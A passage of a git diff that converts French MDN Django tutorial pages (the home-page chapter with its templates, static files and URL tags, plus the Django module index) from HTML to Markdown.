l'exemple ci-dessous. Ensuite, il est nécessaire de préciser les sections qui seront modifiées en utilisant les balises <code>block</code>/<code>endblock</code> qui définissent le début et la fin de section.</p> +Lorsque l'on définit un gabarit pour une vue particulière, il convient de définir une base de gabarit et d'utiliser la balise `extends` dans une page complémentaire comme dans l'exemple ci-dessous. Ensuite, il est nécessaire de préciser les sections qui seront modifiées en utilisant les balises `block`/`endblock` qui définissent le début et la fin de section. -<p>A titre indicatif, l'extrait ci-dessous présente la manière d'activer à l'aide de la balise <code>extends</code> le remplacement de la section <code>content</code>. La page HTML générée inclura la structure de la page définit plus haute et le code généré à la fois pour la section <code>title</code>, mais avec les éléments nouveaux, ci-dessous, pour la section <code>content</code>.</p> +A titre indicatif, l'extrait ci-dessous présente la manière d'activer à l'aide de la balise `extends` le remplacement de la section `content`. La page HTML générée inclura la structure de la page définit plus haute et le code généré à la fois pour la section `title`, mais avec les éléments nouveaux, ci-dessous, pour la section `content`. -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} - <h1>Accueil de la bibliothèque locale</h1> - <p>Bienvenue sur la bibliothèque locale, un site web développé par <em>Mozilla Developer Network</em>!</p> -{% endblock %}</pre> + <h1>Accueil de la bibliothèque locale</h1> + <p>Bienvenue sur la bibliothèque locale, un site web développé par <em>Mozilla Developer Network</em>!</p> +{% endblock %} +``` -<h4 id="Le_gabarit_de_base_de_la_bibliothèque">Le gabarit de base de la bibliothèque</h4> +#### Le gabarit de base de la bibliothèque -<p>Nous allons nous appuyer sur le gabarit ci-dessous pour constuire la page de base de la bibliothèque locale. Vous le constatez, il contient des éléments HTML et des blocs dédiés Django pour spécifier trois sections <code>title</code>, <code>sidebar</code>, et <code>content</code>. La section <code>title</code> contient un titre par défaut. De même la section <code>sidebar</code> contient un liens vers la liste des livres et des auteurs qui pourra être modifié ensuite.</p> +Nous allons nous appuyer sur le gabarit ci-dessous pour constuire la page de base de la bibliothèque locale. Vous le constatez, il contient des éléments HTML et des blocs dédiés Django pour spécifier trois sections `title`, `sidebar`, et `content`. La section `title` contient un titre par défaut. De même la section `sidebar` contient un liens vers la liste des livres et des auteurs qui pourra être modifié ensuite. -<div class="note"> -<p><strong>Note :</strong> Il y a aussi deux balises supplémentaires : <code>url</code> et <code>load static</code>. Elles seront étudiées dans le chapitre suivant.</p> -</div> +> **Note :** Il y a aussi deux balises supplémentaires : `url` et `load static`. Elles seront étudiées dans le chapitre suivant. -<p>Créez un nouveau fichier nommé <strong><em>base_generic.html </em></strong>dans le dossier <strong>/locallibrary/catalog/templates/</strong> (à créer aussi) et copiez-y le texte ci-dessous :</p> +Créez un nouveau fichier nommé **_base_generic.html_ **dans le dossier **/locallibrary/catalog/templates/** (à créer aussi) et copiez-y le texte ci-dessous : -<pre class="brush: html"><!DOCTYPE html> -<html lang="en"> -<head> - {% block title %}<title>Bibliothèque locale</title>{% endblock %} - <meta charset="utf-8"> - <meta name="viewport" content="width=device-width, initial-scale=1"> - <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> - <!-- Add additional CSS in static file --> +```html +<!DOCTYPE html> +<html lang="en"> +<head> + {% block title %}<title>Bibliothèque locale</title>{% endblock %} + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> + <!-- Add additional CSS in static file --> {% load static %} - <link rel="stylesheet" href="{% static 'css/styles.css' %}"> -</head> -<body> - <div class="container-fluid"> - <div class="row"> - <div class="col-sm-2"> + <link rel="stylesheet" href="{% static 'css/styles.css' %}"> +</head> +<body> + <div class="container-fluid"> + <div class="row"> + <div class="col-sm-2"> {% block sidebar %} - <ul class="sidebar-nav"> - <li><a href="{% url 'index' %}">Home</a></li> - <li><a href="">Tous les livres</a></li> - <li><a href="">Tous les auteurs</a></li> - </ul> + <ul class="sidebar-nav"> + <li><a href="{% url 'index' %}">Home</a></li> + <li><a href="">Tous les livres</a></li> + <li><a href="">Tous les auteurs</a></li> + </ul> {% endblock %} - </div> - <div class="col-sm-10 "> + </div> + <div class="col-sm-10 "> {% block content %} {% endblock %} - </div> - </div> - </div> -</body> -</html></pre> + </div> + </div> + </div> +</body> +</html> +``` -<p>Ce gabarit fait appel - <em>en ligne 7</em> - à la bibliothèque de style <a href="http://getbootstrap.com/">Bootstrap</a> afin d'améliorer la présentation de la page. L'utilisation de Bootstrap (ou de tout autre cadriciel pour les pages web) est un moyen rapide de créer des pages bien organisées et qui s'affiche très bien sur les différents navigateurs.</p> +Ce gabarit fait appel - _en ligne 7_ - à la bibliothèque de style [Bootstrap](http://getbootstrap.com/) afin d'améliorer la présentation de la page. L'utilisation de Bootstrap (ou de tout autre cadriciel pour les pages web) est un moyen rapide de créer des pages bien organisées et qui s'affiche très bien sur les différents navigateurs. -<p>De même, ce gabarit fait appel à une feuille de style - <em>en ligne 10</em> - locale pour ajouter ou adapter des styles. Créez le fichier <strong>styles.css </strong>dans le répertoire <strong>/locallibrary/catalog/static/css/</strong> (à créer aussi) et copiez le contenu ci-dessous :</p> +De même, ce gabarit fait appel à une feuille de style - _en ligne 10_ - locale pour ajouter ou adapter des styles. Créez le fichier **styles.css** dans le répertoire **/locallibrary/catalog/static/css/** (à créer aussi) et copiez le contenu ci-dessous : -<pre class="brush: css">.sidebar-nav { +```css +.sidebar-nav { margin-top: 20px; padding: 0; list-style: none; -}</pre> +} +``` -<h4 id="La_page_d'accueil">La page d'accueil</h4> +#### La page d'accueil -<p>Maintenant créez le fichier HTML <strong><em>index.html</em></strong> dans le dossier <strong>/locallibrary/catalog/templates/</strong> et copiez-y le code ci-dessous. This code extends our base template on the first line, and then replaces the default <code>content</code> block for the template. </p> +Maintenant créez le fichier HTML **_index.html_** dans le dossier **/locallibrary/catalog/templates/** et copiez-y le code ci-dessous. This code extends our base template on the first line, and then replaces the default `content` block for the template. -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} - <h1>Accueil de la bibliothèque locale</h1> - <p>Bienvenue à la bibliothèque locale, un site web développé par <em>Mozilla Developer Network</em>!</p> - <h2>Contenu dynamique</h2> - <p>La bibliothèque dispose des enregistrements suivants:</p> - <ul> - <li><strong>Livres:</strong> \{{ num_books }}</li> - <li><strong>Copies:</strong> \{{ num_instances }}</li> - <li><strong>Copies disponibles:</strong> \{{ num_instances_available }}</li> - <li><strong>Auteurs:</strong> \{{ num_authors }}</li> - </ul> -{% endblock %}</pre> - -<p>Dans la section cont'enu dynamique, des emplacements réservés sont définis pour pouvoir y insérer le contenu de variable qui sont identifiées à l'intérieur de doubles accolades (ouvrantes et fermantes). Pour une meilleure visibilité ces emplacements et les variables nommées sont identifiées en caractères gras dans l'extrait de code ci-dessus. </p> - -<div class="note"> -<p><strong>Note:</strong> Vous pouvez constatez simplement que les balises de gabarit (fonctions) et les baslises de variables sont entre accolades ; double accolades pour uen variable (<code>\{{ num_books }}</code>), et simple accolade avec le pourcentage (<code>{% extends "base_generic.html" %}</code>) pour les balises.</p> -</div> - -<p>Gardez en mémoire que les variables utilisées dans les gabarits sont des clés d'un dictionnaires <code>context</code> transmis à la fonction <code>render()</code> de la vue (revenez à l'exemple plus haut, ou l'extrait ci-dessous). La fonction <code>render()</code> traitera le dictionnaire pour restituer uen page HTML où les variables nommées auront été remplacées par leur valeur dans le dictionnaire.</p> - -<pre class="brush: python">context = { - '<strong>num_books</strong>': num_books, - '<strong>num_instances</strong>': num_instances, - '<strong>num_instances_available</strong>': num_instances_available, - '<strong>num_authors</strong>': num_authors, + <h1>Accueil de la bibliothèque locale</h1> + <p>Bienvenue à la bibliothèque locale, un site web développé par <em>Mozilla Developer Network</em>!</p> + <h2>Contenu dynamique</h2> + <p>La bibliothèque dispose des enregistrements suivants:</p> + <ul> + <li><strong>Livres:</strong> \{{ num_books }}</li> + <li><strong>Copies:</strong> \{{ num_instances }}</li> + <li><strong>Copies disponibles:</strong> \{{ num_instances_available }}</li> + <li><strong>Auteurs:</strong> \{{ num_authors }}</li> + </ul> +{% endblock %} +``` + +Dans la section cont'enu dynamique, des emplacements réservés sont définis pour pouvoir y insérer le contenu de variable qui sont identifiées à l'intérieur de doubles accolades (ouvrantes et fermantes). Pour une meilleure visibilité ces emplacements et les variables nommées sont identifiées en caractères gras dans l'extrait de code ci-dessus. + +> **Note :** Vous pouvez constatez simplement que les balises de gabarit (fonctions) et les baslises de variables sont entre accolades ; double accolades pour uen variable (`\{{ num_books }}`), et simple accolade avec le pourcentage (`{% extends "base_generic.html" %}`) pour les balises. + +Gardez en mémoire que les variables utilisées dans les gabarits sont des clés d'un dictionnaires `context` transmis à la fonction `render()` de la vue (revenez à l'exemple plus haut, ou l'extrait ci-dessous). La fonction `render()` traitera le dictionnaire pour restituer uen page HTML où les variables nommées auront été remplacées par leur valeur dans le dictionnaire. + +```python +context = { + 'num_books': num_books, + 'num_instances': num_instances, + 'num_instances_available': num_instances_available, + 'num_authors': num_authors, } -return render(request, 'index.html', context=context)</pre> +return render(request, 'index.html', context=context) +``` -<h4 id="Traiter_les_fichiers_statiques_dans_les_gabarits">Traiter les fichiers statiques dans les gabarits</h4> +#### Traiter les fichiers statiques dans les gabarits -<p>Vos projets utiliserons probablement de fichiers statiques, par exemple des images, des fichiers de styles CSS ou des fonctions javascripts. L'emplacement de ces fichiers n'est pas connu a priori ou peut changer en fonction de l'emplacement dans un projet Django. Pour cela, Django vous permet de spécifier les emplacements dans les gabarits par rapport à la variable globale du projet <code>STATIC_URL</code>. Le paramétrage par défaut du site web définit la variable <code>STATIC_URL</code> à '<code>/static/</code>', mais vous pouvez choisir d'heberger ailleurs.</p> +Vos projets utiliserons probablement de fichiers statiques, par exemple des images, des fichiers de styles CSS ou des fonctions javascripts. L'emplacement de ces fichiers n'est pas connu a priori ou peut changer en fonction de l'emplacement dans un projet Django. Pour cela, Django vous permet de spécifier les emplacements dans les gabarits par rapport à la variable globale du projet `STATIC_URL`. Le paramétrage par défaut du site web définit la variable `STATIC_URL` à '`/static/`', mais vous pouvez choisir d'heberger ailleurs. -<p>Au sein du gabarit, vous ferrez appel à la balise <code>load</code> en précisant "static" pour faire votre ajout, comme décrits dans l'extrait ci-dessous. Vous utilisez la balise <code>static</code> et vous spécifiez ensuite l'URL pour accéder au fichier nécessaire.</p> +Au sein du gabarit, vous ferrez appel à la balise `load` en précisant "static" pour faire votre ajout, comme décrits dans l'extrait ci-dessous. Vous utilisez la balise `static` et vous spécifiez ensuite l'URL pour accéder au fichier nécessaire. -<pre class="brush: html"><!-- Add additional CSS in static file --> +```html +<!-- Add additional CSS in static file --> {% load static %} -<link rel="stylesheet" href="{% static 'css/styles.css' %}"></pre> +<link rel="stylesheet" href="{% static 'css/styles.css' %}"> +``` -<p>De la même manière, vous pouvez par exemple :</p> +De la même manière, vous pouvez par exemple : -<pre class="brush: html">{% load static %} -<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="UML diagram" style="width:555px;height:540px;"> -</pre> +```html +{% load static %} +<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="UML diagram" style="width:555px;height:540px;"> +``` -<div class="note"> -<p><strong>Note :</strong> Les exemples ci-dessus indiquent où se trouvent les fichiers, mais le cadriciel ne travail pas ainsi par défaut. Nous avons configuré le serveur web de développement en modifiant le routage des URL (<strong>/locallibrary/locallibrary/urls.py</strong>) à <a href="/fr/docs/Learn/Server-side/Django/skeleton_website">la création du squelette du site</a>. Cependant nous devrons travailler plus tard la mise en production.</p> -</div> +> **Note :** Les exemples ci-dessus indiquent où se trouvent les fichiers, mais le cadriciel ne travail pas ainsi par défaut. Nous avons configuré le serveur web de développement en modifiant le routage des URL (**/locallibrary/locallibrary/urls.py**) à [la création du squelette du site](/fr/docs/Learn/Server-side/Django/skeleton_website). Cependant nous devrons travailler plus tard la mise en production. -<p>Pour plus de détails sur les fichiers statiques vous pouvez consulter la documentation Django sur <a href="https://docs.djangoproject.com/fr/2.2/howto/static-files/">la gestion des fichiers statiques</a>.</p> +Pour plus de détails sur les fichiers statiques vous pouvez consulter la documentation Django sur [la gestion des fichiers statiques](https://docs.djangoproject.com/fr/2.2/howto/static-files/). -<h4 id="Associer_des_URL">Associer des URL</h4> +#### Associer des URL -<p>L'exemple ci-dessous introduit l'utilisation de la balise de gabarit <code>url</code>.</p> +L'exemple ci-dessous introduit l'utilisation de la balise de gabarit `url`. -<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> -</pre> +```python +<li><a href="{% url 'index' %}">Home</a></li> +``` -<p>Cette balise accepte des référence enregistrées par la fonction <code>path()</code> appelée dans les fichiers <strong>urls.py</strong> ainsi que les valeurs pour chacun des arguments associés à une vue. Elle retourne une URL qui peut être utilisée pour lier une ressource.</p> +Cette balise accepte des référence enregistrées par la fonction `path()` appelée dans les fichiers **urls.py** ainsi que les valeurs pour chacun des arguments associés à une vue. Elle retourne une URL qui peut être utilisée pour lier une ressource. -<h4 id="Où_trouver_les_gabarits...">Où trouver les gabarits...</h4> +#### Où trouver les gabarits... -<p>Par défaut Django ne sait pas où sont vos gabarits, vous devez lui indiquer où les trouver. Pour faire cela, vous allez ajouter le répertoire des gabarits (templates) à la variable d'environnemet du projet TEMPLATES en éditant le fichier <strong>settings.py</strong> comme indiqué en gras ci-dessous :</p> +Par défaut Django ne sait pas où sont vos gabarits, vous devez lui indiquer où les trouver. Pour faire cela, vous allez ajouter le répertoire des gabarits (templates) à la variable d'environnemet du projet TEMPLATES en éditant le fichier **settings.py** comme indiqué en gras ci-dessous : -<pre class="brush: python">TEMPLATES = [ +```python +TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [ -<strong> os.path.join(BASE_DIR, 'templates'), -</strong> ], + os.path.join(BASE_DIR, 'templates'), + ], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ @@ -359,71 +367,58 @@ return render(request, 'index.html', context=context)</pre> ], }, }, -]</pre> +] +``` -<h2 id="A_quoi_cela_devrait-il_ressembler">A quoi cela devrait-il ressembler ?</h2> +## A quoi cela devrait-il ressembler ? -<p>A ce niveau, nous avons créé l'ensemble des ressources nécessaires à l'affichage de la page d'accueil. Démarrez le serveur (<code>python3 manage.py runserver</code>) et accédez avec votre navigateur à la page d'accueil du site web <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>. Si tout va bien, vous devriez avoir une page qui ressemble à celle ci-dessous.</p> +A ce niveau, nous avons créé l'ensemble des ressources nécessaires à l'affichage de la page d'accueil. Démarrez le serveur (`python3 manage.py runserver`) et accédez avec votre navigateur à la page d'accueil du site web <http://127.0.0.1:8000/>. Si tout va bien, vous devriez avoir une page qui ressemble à celle ci-dessous. -<p><img alt="Page d'accueil en Français" src="index_fr_page_ok.png"></p> + -<div class="note"> -<p><strong>Note:</strong> Toutes les ressources n'ayant pas été encore créées les liens vers Tous les livres et Tous les auteurs ne fonctionnent pas encore.</p> -</div> +> **Note :** Toutes les ressources n'ayant pas été encore créées les liens vers Tous les livres et Tous les auteurs ne fonctionnent pas encore. -<h2 id="Défi">Défi</h2> +## Défi -<p>Voici deux suggestion pour tester votre connaissance de Django et des requêtes, vues et gabarits :</p> +Voici deux suggestion pour tester votre connaissance de Django et des requêtes, vues et gabarits : -<ol> - <li>La bibliothèque locale dispose d'un gabarit d'origine qui inclu une section <code>title</code>. Surchargez cette section dans le gabarit index et créer un nouveau titre. +1. La bibliothèque locale dispose d'un gabarit d'origine qui inclu une section `title`. Surchargez cette section dans le gabarit index et créer un nouveau titre. - <div class="note"> - <p><strong>Note :</strong> La section Concevoir un gabarit détaille la manière de modifier une section.</p> - </div> - </li> - <li>Modifiez la vue pour disposer de décomptes pour les genres et les titres de livre qui contiennent un mot (en repectant la casse) et transmettez cela via le <code>context.</code> Pour faire cela utilisez les variables <code>num_books</code> et <code>num_instances_available</code>. Ensuite vous pourrez mettre à jour le gabarit de la page d'accueil.<br> - </li> -</ol> - -<ul> -</ul> - -<h2 id="Résumé">Résumé</h2> - -<p>Dans ce chapitre, nous avons créé la page d'accueil pour notre site — une page web dynamique qui affiche le décompte d'enregistrements issus de la base de données et des liens vers des pages encire à créer. Au cours des étapes de création, nous avons appris et découvert des concept fondamentaux à propos du routage d'url, des vues des requêtes à la base de données et le passage de données vers les gabarits ainsi que leur conception.</p> - -<p>Nous allons nous appuyer sur ces éléments pour concevoir dans le prochain chapitres les 4 pages qui manquent.</p> - -<h2 id="À_voir_aussi">À voir aussi</h2> - -<ul> - <li><a href="https://docs.djangoproject.com/fr/2.2/intro/tutorial03/">Ecrire sa première application Django, 3ème partie</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/topics/http/urls/">Distribution des URL</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/topics/http/views/">Ecriture des vues</a> (DJango docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.é/topics/templates/">Gabarits</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/howto/static-files/">Gestion des fichiers statiques</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/topics/http/shortcuts/#django.shortcuts.render">Fonctions raccourcis de Django</a> (Django docs)</li> -</ul> - -<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Didactique: Site web "Bibliothèque locale"</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django didactique Section 4 : Site d'administration de Django</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django didactique Section 5: Créer la page d'accueil</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> + > **Note :** La section Concevoir un gabarit détaille la manière de modifier une section. + +2. Modifiez la vue pour disposer de décomptes pour les genres et les titres de livre qui contiennent un mot (en repectant la casse) et transmettez cela via le `context.` Pour faire cela utilisez les variables `num_books` et `num_instances_available`. Ensuite vous pourrez mettre à jour le gabarit de la page d'accueil. + +## Résumé + +Dans ce chapitre, nous avons créé la page d'accueil pour notre site — une page web dynamique qui affiche le décompte d'enregistrements issus de la base de données et des liens vers des pages encire à créer. Au cours des étapes de création, nous avons appris et découvert des concept fondamentaux à propos du routage d'url, des vues des requêtes à la base de données et le passage de données vers les gabarits ainsi que leur conception. + +Nous allons nous appuyer sur ces éléments pour concevoir dans le prochain chapitres les 4 pages qui manquent. + +## À voir aussi + +- [Ecrire sa première application Django, 3ème partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial03/) (Django docs) +- [Distribution des URL](https://docs.djangoproject.com/fr/2.2/topics/http/urls/) (Django docs) +- [Ecriture des vues](https://docs.djangoproject.com/fr/2.2/topics/http/views/) (DJango docs) +- [Gabarits](https://docs.djangoproject.com/fr/2.é/topics/templates/) (Django docs) +- [Gestion des fichiers statiques](https://docs.djangoproject.com/fr/2.2/howto/static-files/) (Django docs) +- [Fonctions raccourcis de Django](https://docs.djangoproject.com/fr/2.2/topics/http/shortcuts/#django.shortcuts.render) (Django docs) + +{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}} + +## Dans ce module + +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Didactique: Site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django didactique Section 2: Créer le squelette du site web](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django didactique Section 3: Utilisation des modèles de données](/fr/docs/Learn/Server-side/Django/Models) +- [Django didactique Section 4 : Site d'administration de Django](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django didactique Section 5: Créer la page d'accueil](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/index.md b/files/fr/learn/server-side/django/index.md index fb38612c78..12d5ec6fe8 100644 --- a/files/fr/learn/server-side/django/index.md +++ b/files/fr/learn/server-side/django/index.md @@ -8,58 +8,52 @@ tags: - django translation_of: Learn/Server-side/Django --- -<div>{{LearnSidebar}}</div> - -<p>Django est une infrastructure d'application (aussi appelé framework) côté serveur extremement populaire et dotée de beaucoup de fonctionnalités, écrite en Python. Ce module vous montrera pourquoi Django fait partie des frameworks web les plus populaires ainsi que comment l'installer, le mettre en place, et s'en servir afin de créer vos propres applications web.</p> - -<h2 id="Prerequis">Prerequis</h2> - -<p>Aucune connaissance sur ce framework n'est requise. Il vous faudra seulement comprendre ce qu'est la programmation web côté serveur ainsi que les frameworks web, notamment en lisant les sujets sur notre <a href="/fr/docs/Learn/Server-side/First_steps">module d'initiation à la programmation web coté serveur</a>.</p> - -<p>Une connaissance générale en programmation et plus précisement en <a href="/fr/docs/Glossaire/Python">Python</a> est recommandée, mais pas nécessaire pour comprendre la majeure partie de ce module.</p> - -<div class="note"> -<p><strong>Note :</strong> Python est un des languages les plus faciles à apprendre, lire et comprendre pour les novices. Ceci dit, si vous voulez mieux comprendre ce module, il existe beaucoup de livres gratuits et de tutoriaux sur internet (les nouveaux programmeurs pourraient être intéressés par la page du<a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers"> Python pour les non-programmeurs</a> dans la documentation sur le site officiel de Python: python.org).</p> -</div> - -<h2 id="Guides">Guides</h2> - -<dl> - <dt><a href="/fr/docs/Learn/Server-side/Django/Introduction">Introduction à Django</a></dt> - <dd>Dans ce premier article, nous répondrons aux questions "qu'est ce que Django ?" et vous donner un aperçu rapide de ce qu'un framework peut vous apporter. Nous survolerons les fonctionnalités principales ainsi que quelques fonctionnalités avancées que nous ne pouvons pas détailler en l'espace d'un seul module. Nous vous montrerons aussi les blocs principaux de Django ce qui vous donnera un aperçu de ce qui est faisable avant de commencer.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/development_environment">Installer un environnement de développement pour Django</a></dt> - <dd>Maintenant que vous savez ce qu'est Django, nous allons nous attaquer à la partie installation, comment l'installer sous Windows, Linux(Ubuntu), et Mac OS X — tant que vous utilisez un système d'exploitation commun, cet article devrait vous donner le nécessaire afin de commencer à développer des applications avec Django.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutoriel Django: Le site web d'une librairie</a></dt> - <dd>Le premier article de cette série de tutoriels explique ce que vous aurez à apprendre autour d'un site que nous allons programmer pour une bibliothèque, site web dans lequel nous allons travailler et évoluer à travers plusieurs articles.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Tutoriel Django Partie 2: Créer un squelette d'un site web</a></dt> - <dd>Cet article vous montrera comment créer le "squelette" d'un site web auquel vous pourrez ajouter de quoi le personnaliser avec des paramètres spécifiques, des URLs, des modèles et des templates.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Models">Tutoriel Django Partie 3: Utilisation des modèles</a></dt> - <dd>Cet article montre comment définir des modèles pour le site web que nous appelleront <em>LocalLibrary</em> — les modèles représentent la façon dont sont structurées nos données dans nos applications, nous autoriserons aussi Django à stocker des données dans une base de données pour nous (et modifier cela plus tard). Cet article explique en somme ce qu'un modèle est, comment le déclarer et les champs principaux. Il décrit aussi brièvement comment accéder aux données d'un modèle.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Tutoriel Django Partie 4: L'administration d'un site sous Django</a></dt> - <dd>Maintenant que nous avons créé quelques modèles pour le site web <em>LocalLibrary </em>, nous allons utiliser Django Admin afin d'ajouter quelques "réelles" tables de données. Premièrement, nous allons vous montrer comment enregistrer des modèles avec la partie Admin, ensuite nous allons vous montrer comment se connecter et créer des informations. A la fin, nous allons vous montrer quelques moyens d'améliorer la présentation de la partie Admin.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Home_page">Tutoriel Django Partie 5: Céez votre page d'accueil.</a></dt> - <dd>Nous sommes fin prêts à ajouter le code afin d'afficher notre première page entièremement — une page d'accueil pour le site web <em>LocalLibrary </em>qui montre combien d'enregistrements nous avons de chaque types de modèles et fournis une barre de navigation avec des liens menant à d'autres pages. Au fur et à mesure, nous gagnerons de l'expérience en écrivant du mapping d'URLs, en obtenant des enregistrements de la base de données et en utilisant des templates.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Tutoriel Django Partie 6: Listes génériques et détails des pages</a></dt> - <dd>Ce tutoriel viens étendre notre site <em>LocaLibrary</em> en y ajoutant des listes et des détails pour les auteurs et les livres. Ici nous allons tout vous apprendre sur les classes et vous montrer comment elles peuvent réduire la quantité de code que vous avez à écrire dans des situations communes. Nous allons aussi vous apprendre comment manipuler les URL plus en détail, ainsi que la réalisation basique d'un moteur de recherche.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Sessions">Tutoriel Django Partie 7: Les sessions de framework</a></dt> - <dd>Ce tutoriel viens compléter le site <em>LocalLibrary</em>, en ajoutant un compteur de visiteurs basé sur un principe de session sur la page principale C'est un exemple relativement simple, mais il vous permettra de vous apprendre comment utiliser le système de session en fournissant un comportement persistant aux utilisateurs anonyme de votre site.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Authentication">Tutoriel Django Partie 8: L'authentification de l'utilisateur ainsi que les permissions</a></dt> - <dd>Dans ce tutoriel, nous allons vous montrer comment autoriser les utilisateurs à se connecter à votre site avec leurs propres comptes, et comment contrôler ce qu'ils peuvent faire et voir en fonction des <em>permissions</em> accordées et de s'ils sont connectés ou non. Comme partie de cette démonstration, nous allons étendre le site <em>LocalLibrary</em> en ajoutant une page de connexion, de déconnexion et d'utilisateur - ainsi que des pages dédiées aux membres de la librairie afin de voir quel livre a été emprunté.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Forms">Tutoriel Django Partie 9: Travailler avec les formulaires</a></dt> - <dd>Dans ce tutoriel, nous allons vous montrer comment travailler avec <a href="/fr/docs/Web/Guide/HTML/Forms">les formulaires en HTML</a> avec Django, et plus particulièrement la façon la plus facile d'écrire, créer, mettre à jour et supprimer les formulaires. Pour cela, nous allons devoir étendre le site <em>LocalLibrary</em> afin que les libraires puissent changer les livres, et créer, mettre à jour, et supprimer les auteurs en utilisant nos propres formulaires (au lieu de passer par Django Admin).</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Testing">Tutoriel Django Partie 10: Tester une application Django</a></dt> - <dd>Plus les sites s'agrandissent, plus il devient dur de les tester manuellement — pas seulement parce que il y a plus de contenu à tester mais aussi parce que les intéractions entre les éléments deviennent plus complexes, un petit changement dans une partie du site peut nécessiter de nombreux tests afin de vérifier que ce changement n'a pas impacté les autres parties du site. La solution à ce problème est de programmer des tests automatiques, qui peuvent facilement et fiablement être executés à chaque changements. Ce tutoriel montre comment automatiser vos tests sur votre site web en utilisant le module de test du framework Django.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django/Deployment">Tutoriel Django Partie 11: Déployer son site fait avec Django</a></dt> - <dd>Vous avez créé (et testé) un incroyable site web <em>LocalLibray</em>, vous allez maintenant l'installer sur un serveur public ce qui le rendra accessible aux membres de la librairie à travers internet. Cet article fournis un aperçu de comment vous pourriez trouver un hébergeur pour déployer votre site et de ce dont vous avez besoin pour rendre votre site pleinement fonctionnel.</dd> - <dt><a 